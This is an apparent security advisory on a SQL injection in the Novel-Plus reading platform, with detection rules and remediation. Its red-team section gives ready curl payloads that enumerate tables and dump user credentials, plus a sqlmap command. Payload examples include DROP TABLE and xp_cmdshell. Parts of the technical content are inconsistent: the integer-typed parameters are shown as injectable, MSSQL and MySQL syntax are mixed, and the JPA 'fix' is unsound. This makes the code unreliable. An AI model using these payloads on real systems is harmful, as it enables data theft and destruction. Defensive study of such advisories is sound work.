CVE-2024-24023

Executive Summary

CVE-2024-24023 is a critical SQL injection vulnerability discovered in Novel-Plus v4.3.0-RC1 and prior versions. The flaw resides in the /novel/bookContent/list endpoint, where the offset, limit, and sort parameters are not properly sanitized before being passed to SQL queries. An unauthenticated attacker can exploit this to execute arbitrary SQL commands, leading to full database compromise, data exfiltration, and potential lateral movement within the network.

This vulnerability is particularly dangerous because it requires no authentication and can be triggered via simple HTTP GET requests. The lack of a vendor patch at the time of analysis means all deployments of Novel-Plus v4.3.0-RC1 and earlier are at immediate risk.

Supply Chain & Package Security

Novel-Plus is a Java-based open-source novel reading platform distributed via GitHub and Maven. The vulnerability affects the core application logic, not a third-party library. However, organizations using Novel-Plus should verify they are not pulling the vulnerable version from Maven repositories or Docker images. The absence of a patch means the supply chain is currently compromised for this version.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): High – Full database read access.
• Integrity (I): High – Ability to modify or delete data.
• Availability (A): High – Potential to disrupt database operations.

Threat Level: Critical. The combination of remote exploitability, no authentication, and full database compromise makes this a top-priority vulnerability for remediation.

Deep Dive & Mechanics

The vulnerability exists in the BookContentController class, specifically in the method handling the /novel/bookContent/list endpoint. The controller accepts three parameters: offset, limit, and sort. These parameters are directly concatenated into SQL queries without proper sanitization or parameterization.

Vulnerable Code Path:

1. The HTTP request reaches BookContentController.list().
2. The controller extracts offset, limit, and sort from the request parameters.
3. These values are passed to a service layer that builds a dynamic SQL query.
4. The query is executed against the database using a Statement object (or similar) instead of a PreparedStatement.

Example of vulnerable query construction:

String sql = "SELECT * FROM book_content ORDER BY " + sort + " LIMIT " + limit + " OFFSET " + offset;

An attacker can inject SQL commands by providing malicious input such as:

• offset=0; DROP TABLE users; --
• limit=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
• sort=id ASC; EXEC xp_cmdshell('whoami');--

The lack of input validation and the use of string concatenation for SQL queries are the root causes.

Vulnerable vs. Patched Code

Vulnerable Code (Novel-Plus v4.3.0-RC1):

// BookContentController.java
@GetMapping("/list")
public Result list(@RequestParam Integer offset, @RequestParam Integer limit, @RequestParam String sort) {
    List<BookContent> list = bookContentService.list(offset, limit, sort);
    return Result.success(list);
}

// BookContentServiceImpl.java
public List<BookContent> list(Integer offset, Integer limit, String sort) {
    String sql = "SELECT * FROM book_content ORDER BY " + sort + " LIMIT " + limit + " OFFSET " + offset;
    return jdbcTemplate.query(sql, new BeanPropertyRowMapper<>(BookContent.class));
}

Patched Code (Hypothetical Fix):

// BookContentController.java
@GetMapping("/list")
public Result list(@RequestParam Integer offset, @RequestParam Integer limit, @RequestParam String sort) {
    // Validate sort parameter against whitelist
    List<String> allowedSorts = Arrays.asList("id", "title", "create_time");
    if (!allowedSorts.contains(sort)) {
        return Result.error("Invalid sort parameter");
    }
    List<BookContent> list = bookContentService.list(offset, limit, sort);
    return Result.success(list);
}

// BookContentServiceImpl.java
public List<BookContent> list(Integer offset, Integer limit, String sort) {
    String sql = "SELECT * FROM book_content ORDER BY " + sort + " LIMIT ? OFFSET ?";
    return jdbcTemplate.query(sql, new Object[]{limit, offset}, new BeanPropertyRowMapper<>(BookContent.class));
}

The patched version uses parameterized queries for limit and offset and implements a whitelist for the sort parameter. This prevents SQL injection by ensuring user input is never directly concatenated into the SQL statement.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Novel-Plus v4.3.0-RC1 or earlier.
• Network access to the /novel/bookContent/list endpoint.

Exploitation Steps:

1. Identify the endpoint:

   curl -v http://target:8080/novel/bookContent/list?offset=0&limit=10&sort=id
   

2. Test for SQL injection:

   curl "http://target:8080/novel/bookContent/list?offset=0&limit=10&sort=id'"
   

   If an error is returned (e.g., SQL syntax error), the endpoint is vulnerable.

3. Extract database version:

   curl "http://target:8080/novel/bookContent/list?offset=0&limit=1 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10--&sort=id"
   

4. Enumerate tables:

   curl "http://target:8080/novel/bookContent/list?offset=0&limit=1 UNION SELECT 1,table_name,3,4,5,6,7,8,9,10 FROM information_schema.tables--&sort=id"
   

5. Dump user credentials:

   curl "http://target:8080/novel/bookContent/list?offset=0&limit=1 UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM users--&sort=id"
   

Automated Exploitation with SQLMap:

sqlmap -u "http://target:8080/novel/bookContent/list?offset=0&limit=10&sort=id" --batch --dbs

Blue Team

Detection Steps:

1. Monitor for anomalous SQL errors: Look for database error messages in application logs that contain SQL syntax errors or unexpected characters.
2. Analyze web server logs: Identify requests to /novel/bookContent/list with unusual patterns in the offset, limit, or sort parameters (e.g., containing SQL keywords like UNION, SELECT, DROP).
3. Deploy WAF rules: Block requests containing SQL injection patterns in the query parameters.
4. Honeypot: Set up a decoy database to capture attacker queries.

Lab Setup for Testing:

# Clone the vulnerable repository
git clone https://github.com/novel-plus/Novel-Plus.git
cd Novel-Plus
git checkout v4.3.0-RC1

# Build and run with Docker
docker-compose up -d

# Access the application
curl http://localhost:8080/novel/bookContent/list?offset=0&limit=10&sort=id

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /novel/bookContent/list with parameters containing SQL keywords (UNION, SELECT, DROP, etc.)
• Unusual response sizes from the endpoint (indicating data exfiltration)
• Database error messages in HTTP responses (e.g., "SQL syntax error")

File IOCs:

• Unexpected files in the application's upload directory (if file write is possible)
• Modified application logs showing SQL injection attempts

System IOCs:

• Unusual database connections from the application server
• High CPU or memory usage on the database server during exploitation

Log Patterns:

GET /novel/bookContent/list?offset=0&limit=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--&sort=id

Detection Engineering

YARA Rule

rule CVE_2024_24023_SQLi_NovelPlus {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-24023 in Novel-Plus"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-24023"
        severity = "critical"

    strings:
        $sqli1 = /offset=[^&]*(\bUNION\b|\bSELECT\b|\bDROP\b|\bINSERT\b|\bUPDATE\b|\bDELETE\b)/i
        $sqli2 = /limit=[^&]*(\bUNION\b|\bSELECT\b|\bDROP\b|\bINSERT\b|\bUPDATE\b|\bDELETE\b)/i
        $sqli3 = /sort=[^&]*(\bUNION\b|\bSELECT\b|\bDROP\b|\bINSERT\b|\bUPDATE\b|\bDELETE\b)/i
        $endpoint = "/novel/bookContent/list"

    condition:
        any of ($sqli*) and $endpoint
}

Sigma Rule

title: CVE-2024-24023 SQL Injection Attempt on Novel-Plus
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the /novel/bookContent/list endpoint in Novel-Plus
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24023
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/novel/bookContent/list"
        cs-uri-query|re:
            - "(?i)(offset|limit|sort)=.*(union|select|drop|insert|update|delete)"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in parameters (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24023 SQL Injection Attempt on Novel-Plus"; flow:to_server,established; content:"/novel/bookContent/list"; http_uri; pcre:"/(?i)(offset|limit|sort)=.*(union|select|drop|insert|update|delete)/R"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, take the Novel-Plus application offline or restrict network access to trusted IPs only.
2. Apply virtual patching: Use a Web Application Firewall (WAF) to block SQL injection patterns in the /novel/bookContent/list endpoint.
3. Disable the endpoint: If the functionality is not critical, remove or disable the /novel/bookContent/list endpoint.

Long-term Fix:

1. Upgrade to a patched version: Monitor the Novel-Plus GitHub repository for a security patch. If none is available, consider forking the project and applying the fix manually.
2. Implement parameterized queries: Replace all dynamic SQL queries with PreparedStatement or equivalent ORM methods.
3. Input validation: Whitelist allowed values for the sort parameter and enforce integer types for offset and limit.
4. Least privilege: Ensure the database user used by the application has minimal permissions (e.g., no DROP or INSERT privileges if not needed).

Code Fix Example:

// Use Spring Data JPA or MyBatis to avoid raw SQL
@Query("SELECT b FROM BookContent b ORDER BY ?#{#sort} LIMIT ?#{#limit} OFFSET ?#{#offset}")
List<BookContent> findBookContent(String sort, int limit, int offset);

Valters IT – Securing digital frontiers, one vulnerability at a time.